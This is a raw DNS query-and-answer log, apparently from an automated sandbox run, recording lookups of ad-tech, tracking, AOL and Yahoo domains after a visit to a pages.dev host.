May 24, 2024 00:35:17.810270071 CEST	192.168.2.6	1.1.1.1	0xb193	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
May 24, 2024 00:35:17.811899900 CEST	192.168.2.6	1.1.1.1	0xbd0b	Standard query (0)	bcbolt446c5271-a.akamaihd.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.812094927 CEST	192.168.2.6	1.1.1.1	0xb9e8	Standard query (0)	bcbolt446c5271-a.akamaihd.net	65	IN (0x0001)	false
May 24, 2024 00:35:17.884717941 CEST	192.168.2.6	1.1.1.1	0x69a8	Standard query (0)	pixel-eu.onaudience.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:17.884910107 CEST	192.168.2.6	1.1.1.1	0xdb0e	Standard query (0)	pixel-eu.onaudience.com	65	IN (0x0001)	false
May 24, 2024 00:35:18.449137926 CEST	192.168.2.6	1.1.1.1	0x2ad3	Standard query (0)	ssum-sec.casalemedia.com	65	IN (0x0001)	false
May 24, 2024 00:35:18.449139118 CEST	192.168.2.6	1.1.1.1	0x4018	Standard query (0)	ssum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.896943092 CEST	192.168.2.6	1.1.1.1	0xe558	Standard query (0)	api.login.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.897512913 CEST	192.168.2.6	1.1.1.1	0xc2d0	Standard query (0)	api.login.aol.com	65	IN (0x0001)	false
May 24, 2024 00:35:18.948085070 CEST	192.168.2.6	1.1.1.1	0x8a0f	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:18.948271990 CEST	192.168.2.6	1.1.1.1	0x5186	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
May 24, 2024 00:35:19.386018038 CEST	192.168.2.6	1.1.1.1	0x9404	Standard query (0)	aa.agkn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:19.386306047 CEST	192.168.2.6	1.1.1.1	0xae67	Standard query (0)	aa.agkn.com	65	IN (0x0001)	false
May 24, 2024 00:35:19.419986010 CEST	192.168.2.6	1.1.1.1	0xe1d7	Standard query (0)	id.rlcdn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:19.420319080 CEST	192.168.2.6	1.1.1.1	0xb70f	Standard query (0)	id.rlcdn.com	65	IN (0x0001)	false
May 24, 2024 00:35:19.552227020 CEST	192.168.2.6	1.1.1.1	0x3df2	Standard query (0)	hbx.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:19.552524090 CEST	192.168.2.6	1.1.1.1	0x4259	Standard query (0)	hbx.media.net	65	IN (0x0001)	false
May 24, 2024 00:35:19.849484921 CEST	192.168.2.6	1.1.1.1	0xd475	Standard query (0)	stags.bluekai.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:19.849605083 CEST	192.168.2.6	1.1.1.1	0x5034	Standard query (0)	stags.bluekai.com	65	IN (0x0001)	false
May 24, 2024 00:35:20.022721052 CEST	192.168.2.6	1.1.1.1	0x7033	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:20.022938013 CEST	192.168.2.6	1.1.1.1	0x28f	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
May 24, 2024 00:35:20.550817013 CEST	192.168.2.6	1.1.1.1	0x9db5	Standard query (0)	d.turn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:20.550817013 CEST	192.168.2.6	1.1.1.1	0xf57e	Standard query (0)	d.turn.com	65	IN (0x0001)	false
May 24, 2024 00:35:20.553622961 CEST	192.168.2.6	1.1.1.1	0x574b	Standard query (0)	odr.mookie1.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:20.553802967 CEST	192.168.2.6	1.1.1.1	0x537b	Standard query (0)	odr.mookie1.com	65	IN (0x0001)	false
May 24, 2024 00:35:20.696420908 CEST	192.168.2.6	1.1.1.1	0x929a	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:20.696829081 CEST	192.168.2.6	1.1.1.1	0x9dd5	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
May 24, 2024 00:35:20.880714893 CEST	192.168.2.6	1.1.1.1	0x3c5e	Standard query (0)	pippio.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:20.880964041 CEST	192.168.2.6	1.1.1.1	0xa9de	Standard query (0)	pippio.com	65	IN (0x0001)	false
May 24, 2024 00:35:21.144562006 CEST	192.168.2.6	1.1.1.1	0x173	Standard query (0)	help.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.145088911 CEST	192.168.2.6	1.1.1.1	0x4ce	Standard query (0)	help.aol.com	65	IN (0x0001)	false
May 24, 2024 00:35:21.146181107 CEST	192.168.2.6	1.1.1.1	0x8c2c	Standard query (0)	cms.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.146317959 CEST	192.168.2.6	1.1.1.1	0x67f8	Standard query (0)	cms.analytics.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:21.148226976 CEST	192.168.2.6	1.1.1.1	0x1a38	Standard query (0)	uipus.semasio.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.148658991 CEST	192.168.2.6	1.1.1.1	0xc0c5	Standard query (0)	uipus.semasio.net	65	IN (0x0001)	false
May 24, 2024 00:35:21.150866985 CEST	192.168.2.6	1.1.1.1	0x3812	Standard query (0)	cs.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.151019096 CEST	192.168.2.6	1.1.1.1	0xa6b8	Standard query (0)	cs.media.net	65	IN (0x0001)	false
May 24, 2024 00:35:21.770349979 CEST	192.168.2.6	1.1.1.1	0x6cf5	Standard query (0)	api.taboola.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.770473957 CEST	192.168.2.6	1.1.1.1	0x1450	Standard query (0)	api.taboola.com	65	IN (0x0001)	false
May 24, 2024 00:35:21.771466970 CEST	192.168.2.6	1.1.1.1	0x8be2	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:21.771617889 CEST	192.168.2.6	1.1.1.1	0xa638	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
May 24, 2024 00:35:22.152868986 CEST	192.168.2.6	1.1.1.1	0xdfe5	Standard query (0)	ap.lijit.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:22.153134108 CEST	192.168.2.6	1.1.1.1	0x866a	Standard query (0)	ap.lijit.com	65	IN (0x0001)	false
May 24, 2024 00:35:23.028872967 CEST	192.168.2.6	1.1.1.1	0x4bf	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.029010057 CEST	192.168.2.6	1.1.1.1	0xd204	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
May 24, 2024 00:35:23.318192005 CEST	192.168.2.6	1.1.1.1	0xa754	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:23.318337917 CEST	192.168.2.6	1.1.1.1	0xc399	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
May 24, 2024 00:35:25.472217083 CEST	192.168.2.6	1.1.1.1	0x2575	Standard query (0)	capi.connatix.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:25.472625971 CEST	192.168.2.6	1.1.1.1	0x4ef2	Standard query (0)	capi.connatix.com	65	IN (0x0001)	false
May 24, 2024 00:35:25.542292118 CEST	192.168.2.6	1.1.1.1	0x844c	Standard query (0)	idpix.media6degrees.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:25.542649984 CEST	192.168.2.6	1.1.1.1	0x675a	Standard query (0)	idpix.media6degrees.com	65	IN (0x0001)	false
May 24, 2024 00:35:25.547919989 CEST	192.168.2.6	1.1.1.1	0xa36e	Standard query (0)	aorta.clickagy.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:25.548273087 CEST	192.168.2.6	1.1.1.1	0xb03d	Standard query (0)	aorta.clickagy.com	65	IN (0x0001)	false
May 24, 2024 00:35:25.548790932 CEST	192.168.2.6	1.1.1.1	0x3750	Standard query (0)	rtb.openx.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:25.549149990 CEST	192.168.2.6	1.1.1.1	0x6522	Standard query (0)	rtb.openx.net	65	IN (0x0001)	false
May 24, 2024 00:35:25.559768915 CEST	192.168.2.6	1.1.1.1	0x2313	Standard query (0)	cs.krushmedia.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:25.560051918 CEST	192.168.2.6	1.1.1.1	0xca6	Standard query (0)	cs.krushmedia.com	65	IN (0x0001)	false
May 24, 2024 00:35:26.852504969 CEST	192.168.2.6	1.1.1.1	0x27d2	Standard query (0)	pool.admedo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:26.852859020 CEST	192.168.2.6	1.1.1.1	0xdf74	Standard query (0)	pool.admedo.com	65	IN (0x0001)	false
May 24, 2024 00:35:27.031642914 CEST	192.168.2.6	1.1.1.1	0x13c8	Standard query (0)	beacon-ams3.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.032064915 CEST	192.168.2.6	1.1.1.1	0x7575	Standard query (0)	beacon-ams3.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:35:27.036169052 CEST	192.168.2.6	1.1.1.1	0xc4f1	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.036462069 CEST	192.168.2.6	1.1.1.1	0x394	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
May 24, 2024 00:35:27.037501097 CEST	192.168.2.6	1.1.1.1	0xd299	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.037688971 CEST	192.168.2.6	1.1.1.1	0x384f	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
May 24, 2024 00:35:27.044203043 CEST	192.168.2.6	1.1.1.1	0x8a59	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.044439077 CEST	192.168.2.6	1.1.1.1	0x181a	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
May 24, 2024 00:35:27.117461920 CEST	192.168.2.6	1.1.1.1	0x50ae	Standard query (0)	api.content.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:27.117647886 CEST	192.168.2.6	1.1.1.1	0x9a6b	Standard query (0)	api.content.aol.com	65	IN (0x0001)	false
May 24, 2024 00:35:28.231967926 CEST	192.168.2.6	1.1.1.1	0xa9cf	Standard query (0)	pubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:28.232117891 CEST	192.168.2.6	1.1.1.1	0xf7c1	Standard query (0)	pubads.g.doubleclick.net	65	IN (0x0001)	false
May 24, 2024 00:35:28.267589092 CEST	192.168.2.6	1.1.1.1	0x2b97	Standard query (0)	sync1.intentiq.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:28.267745018 CEST	192.168.2.6	1.1.1.1	0xdee2	Standard query (0)	sync1.intentiq.com	65	IN (0x0001)	false
May 24, 2024 00:35:28.538009882 CEST	192.168.2.6	1.1.1.1	0x63c8	Standard query (0)	js-agent.newrelic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:28.541137934 CEST	192.168.2.6	1.1.1.1	0xc4d4	Standard query (0)	js-agent.newrelic.com	65	IN (0x0001)	false
May 24, 2024 00:35:28.999089003 CEST	192.168.2.6	1.1.1.1	0xfd6c	Standard query (0)	sync.targeting.unrulymedia.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:28.999177933 CEST	192.168.2.6	1.1.1.1	0x195b	Standard query (0)	sync.targeting.unrulymedia.com	65	IN (0x0001)	false
May 24, 2024 00:35:29.004359007 CEST	192.168.2.6	1.1.1.1	0x6030	Standard query (0)	tags.bluekai.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:29.004648924 CEST	192.168.2.6	1.1.1.1	0xebae	Standard query (0)	tags.bluekai.com	65	IN (0x0001)	false
May 24, 2024 00:35:29.005121946 CEST	192.168.2.6	1.1.1.1	0x87c0	Standard query (0)	bats.video.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:29.005867958 CEST	192.168.2.6	1.1.1.1	0xe741	Standard query (0)	bats.video.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:29.359330893 CEST	192.168.2.6	1.1.1.1	0xdcaa	Standard query (0)	bam.nr-data.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:29.359549999 CEST	192.168.2.6	1.1.1.1	0x118a	Standard query (0)	bam.nr-data.net	65	IN (0x0001)	false
May 24, 2024 00:35:30.350954056 CEST	192.168.2.6	1.1.1.1	0x4c7b	Standard query (0)	ads.avct.cloud	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.492527962 CEST	192.168.2.6	1.1.1.1	0x9ca8	Standard query (0)	3p-geo.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.492903948 CEST	192.168.2.6	1.1.1.1	0xe30e	Standard query (0)	3p-geo.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:31.826693058 CEST	192.168.2.6	1.1.1.1	0xde2c	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.826917887 CEST	192.168.2.6	1.1.1.1	0xbbb3	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
May 24, 2024 00:35:31.827708960 CEST	192.168.2.6	1.1.1.1	0x76c8	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.827898026 CEST	192.168.2.6	1.1.1.1	0x6a79	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
May 24, 2024 00:35:31.836960077 CEST	192.168.2.6	1.1.1.1	0x9072	Standard query (0)	odr.mookie1.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.837486029 CEST	192.168.2.6	1.1.1.1	0x5284	Standard query (0)	odr.mookie1.com	65	IN (0x0001)	false
May 24, 2024 00:35:31.837837934 CEST	192.168.2.6	1.1.1.1	0xdcc4	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.838202000 CEST	192.168.2.6	1.1.1.1	0x85a	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
May 24, 2024 00:35:31.845012903 CEST	192.168.2.6	1.1.1.1	0xeb9f	Standard query (0)	c2shb-oao.ssp.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.845489025 CEST	192.168.2.6	1.1.1.1	0xc9f5	Standard query (0)	c2shb-oao.ssp.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:35:31.898009062 CEST	192.168.2.6	1.1.1.1	0x710	Standard query (0)	tlx.3lift.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.898344040 CEST	192.168.2.6	1.1.1.1	0x548b	Standard query (0)	tlx.3lift.com	65	IN (0x0001)	false
May 24, 2024 00:35:33.595432997 CEST	192.168.2.6	1.1.1.1	0xa4c5	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:33.595432997 CEST	192.168.2.6	1.1.1.1	0xd3d9	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
May 24, 2024 00:35:33.596085072 CEST	192.168.2.6	1.1.1.1	0x2541	Standard query (0)	report.edgecast.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:33.596259117 CEST	192.168.2.6	1.1.1.1	0x2496	Standard query (0)	report.edgecast.com	65	IN (0x0001)	false
May 24, 2024 00:35:33.800211906 CEST	192.168.2.6	1.1.1.1	0x6398	Standard query (0)	onetag-sys.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:33.800477982 CEST	192.168.2.6	1.1.1.1	0x4cae	Standard query (0)	onetag-sys.com	65	IN (0x0001)	false
May 24, 2024 00:35:36.561223984 CEST	192.168.2.6	1.1.1.1	0x2b06	Standard query (0)	ps.eyeota.net	65	IN (0x0001)	false
May 24, 2024 00:35:36.561223984 CEST	192.168.2.6	1.1.1.1	0x5cab	Standard query (0)	ps.eyeota.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:41.091444016 CEST	192.168.2.6	1.1.1.1	0xe8a0	Standard query (0)	bam.nr-data.net	65	IN (0x0001)	false
May 24, 2024 00:35:41.091444969 CEST	192.168.2.6	1.1.1.1	0x7a92	Standard query (0)	bam.nr-data.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:42.115154982 CEST	192.168.2.6	1.1.1.1	0x222b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:42.115334988 CEST	192.168.2.6	1.1.1.1	0x39f6	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 24, 2024 00:35:42.338378906 CEST	192.168.2.6	1.1.1.1	0xf48c	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:42.338582039 CEST	192.168.2.6	1.1.1.1	0xd584	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 24, 2024 00:34:16.410234928 CEST	1.1.1.1	192.168.2.6	0x8667	No error (0)	testing-1g0.pages.dev		172.66.47.157	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:16.410234928 CEST	1.1.1.1	192.168.2.6	0x8667	No error (0)	testing-1g0.pages.dev		172.66.44.99	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:16.457700968 CEST	1.1.1.1	192.168.2.6	0x9573	No error (0)	testing-1g0.pages.dev			65	IN (0x0001)	false
May 24, 2024 00:34:17.008186102 CEST	1.1.1.1	192.168.2.6	0x1107	No error (0)	testing-1g0.pages.dev		172.66.47.157	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:17.008186102 CEST	1.1.1.1	192.168.2.6	0x1107	No error (0)	testing-1g0.pages.dev		172.66.44.99	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:17.008202076 CEST	1.1.1.1	192.168.2.6	0xecc7	No error (0)	testing-1g0.pages.dev			65	IN (0x0001)	false
May 24, 2024 00:34:18.297039032 CEST	1.1.1.1	192.168.2.6	0xaa93	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:18.297039032 CEST	1.1.1.1	192.168.2.6	0xaa93	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:18.297039032 CEST	1.1.1.1	192.168.2.6	0xaa93	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:18.303266048 CEST	1.1.1.1	192.168.2.6	0x4874	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:18.554272890 CEST	1.1.1.1	192.168.2.6	0x45f8	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:18.554286957 CEST	1.1.1.1	192.168.2.6	0x4a83	No error (0)	www.google.com			65	IN (0x0001)	false
May 24, 2024 00:34:20.078953981 CEST	1.1.1.1	192.168.2.6	0x3835	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:20.078953981 CEST	1.1.1.1	192.168.2.6	0x3835	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:20.078953981 CEST	1.1.1.1	192.168.2.6	0x3835	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:20.108500957 CEST	1.1.1.1	192.168.2.6	0x9125	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:29.207304955 CEST	1.1.1.1	192.168.2.6	0xb73b	No error (0)	www.aol.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:29.214975119 CEST	1.1.1.1	192.168.2.6	0x5b93	No error (0)	www.aol.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:29.214975119 CEST	1.1.1.1	192.168.2.6	0x5b93	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:29.214975119 CEST	1.1.1.1	192.168.2.6	0x5b93	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:29.395127058 CEST	1.1.1.1	192.168.2.6	0xa65e	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:29.395127058 CEST	1.1.1.1	192.168.2.6	0xa65e	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:30.149812937 CEST	1.1.1.1	192.168.2.6	0xa84b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:30.149812937 CEST	1.1.1.1	192.168.2.6	0xa84b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:30.982362032 CEST	1.1.1.1	192.168.2.6	0x132f	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:30.982377052 CEST	1.1.1.1	192.168.2.6	0x5415	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:30.982377052 CEST	1.1.1.1	192.168.2.6	0x5415	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:30.982377052 CEST	1.1.1.1	192.168.2.6	0x5415	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:30.982384920 CEST	1.1.1.1	192.168.2.6	0x5e3d	No error (0)	consent.cmp.oath.com	cs550162656.adn.psicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:30.982384920 CEST	1.1.1.1	192.168.2.6	0x5e3d	No error (0)	cs550162656.adn.psicdn.net		152.195.53.200	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:30.982400894 CEST	1.1.1.1	192.168.2.6	0x9699	No error (0)	s.aolcdn.com	cs629.wpc.lambdacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:30.982400894 CEST	1.1.1.1	192.168.2.6	0x9699	No error (0)	cs629.wpc.lambdacdn.net		192.229.221.24	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:30.982407093 CEST	1.1.1.1	192.168.2.6	0x72bd	No error (0)	s.aolcdn.com	cs629.wpc.lambdacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:30.982413054 CEST	1.1.1.1	192.168.2.6	0xc483	No error (0)	consent.cmp.oath.com	cs550162656.adn.psicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.103389025 CEST	1.1.1.1	192.168.2.6	0x1039	No error (0)	3p-geo.yahoo.com	fam-geo-atsv2.prod.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.103401899 CEST	1.1.1.1	192.168.2.6	0xcbe3	No error (0)	3p-geo.yahoo.com	fam-geo-atsv2.prod.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.103401899 CEST	1.1.1.1	192.168.2.6	0xcbe3	No error (0)	fam-geo-atsv2.prod.media.g03.yahoodns.net		188.125.72.139	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.117171049 CEST	1.1.1.1	192.168.2.6	0x514b	No error (0)	o.aolcdn.com	cs629.wpc.lambdacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.117171049 CEST	1.1.1.1	192.168.2.6	0x514b	No error (0)	cs629.wpc.lambdacdn.net		192.229.221.24	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.128654957 CEST	1.1.1.1	192.168.2.6	0x6208	No error (0)	guce.aol.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.128654957 CEST	1.1.1.1	192.168.2.6	0x6208	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.135586977 CEST	1.1.1.1	192.168.2.6	0xe631	No error (0)	o.aolcdn.com	cs629.wpc.lambdacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.153422117 CEST	1.1.1.1	192.168.2.6	0x1017	No error (0)	guce.aol.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.153422117 CEST	1.1.1.1	192.168.2.6	0x1017	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.153422117 CEST	1.1.1.1	192.168.2.6	0x1017	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.215.87.217	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.153422117 CEST	1.1.1.1	192.168.2.6	0x1017	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.214.224.102	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.153422117 CEST	1.1.1.1	192.168.2.6	0x1017	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.17.240.55	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.153467894 CEST	1.1.1.1	192.168.2.6	0x18fe	No error (0)	yep.video.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.153467894 CEST	1.1.1.1	192.168.2.6	0x18fe	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.153467894 CEST	1.1.1.1	192.168.2.6	0x18fe	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.153479099 CEST	1.1.1.1	192.168.2.6	0xda47	No error (0)	jill.fc.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.153479099 CEST	1.1.1.1	192.168.2.6	0xda47	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.153479099 CEST	1.1.1.1	192.168.2.6	0xda47	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.175838947 CEST	1.1.1.1	192.168.2.6	0x1ac1	No error (0)	yep.video.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:31.421535015 CEST	1.1.1.1	192.168.2.6	0xbae1	No error (0)	jill.fc.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:33.581113100 CEST	1.1.1.1	192.168.2.6	0x3831	No error (0)	report.edgecast.com	cs1418.wpc.psicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:33.581118107 CEST	1.1.1.1	192.168.2.6	0x1504	No error (0)	report.edgecast.com	cs1418.wpc.psicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:33.581118107 CEST	1.1.1.1	192.168.2.6	0x1504	No error (0)	cs1418.wpc.psicdn.net		152.195.133.117	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:35.721698046 CEST	1.1.1.1	192.168.2.6	0xcabc	No error (0)	s.aolcdn.com	cs629.wpc.lambdacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:35.721698046 CEST	1.1.1.1	192.168.2.6	0xcabc	No error (0)	cs629.wpc.lambdacdn.net		192.229.221.24	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:35.721714973 CEST	1.1.1.1	192.168.2.6	0xa7e8	No error (0)	s.aolcdn.com	cs629.wpc.lambdacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:42.440290928 CEST	1.1.1.1	192.168.2.6	0xf1a1	No error (0)	guce.aol.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:42.440290928 CEST	1.1.1.1	192.168.2.6	0xf1a1	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
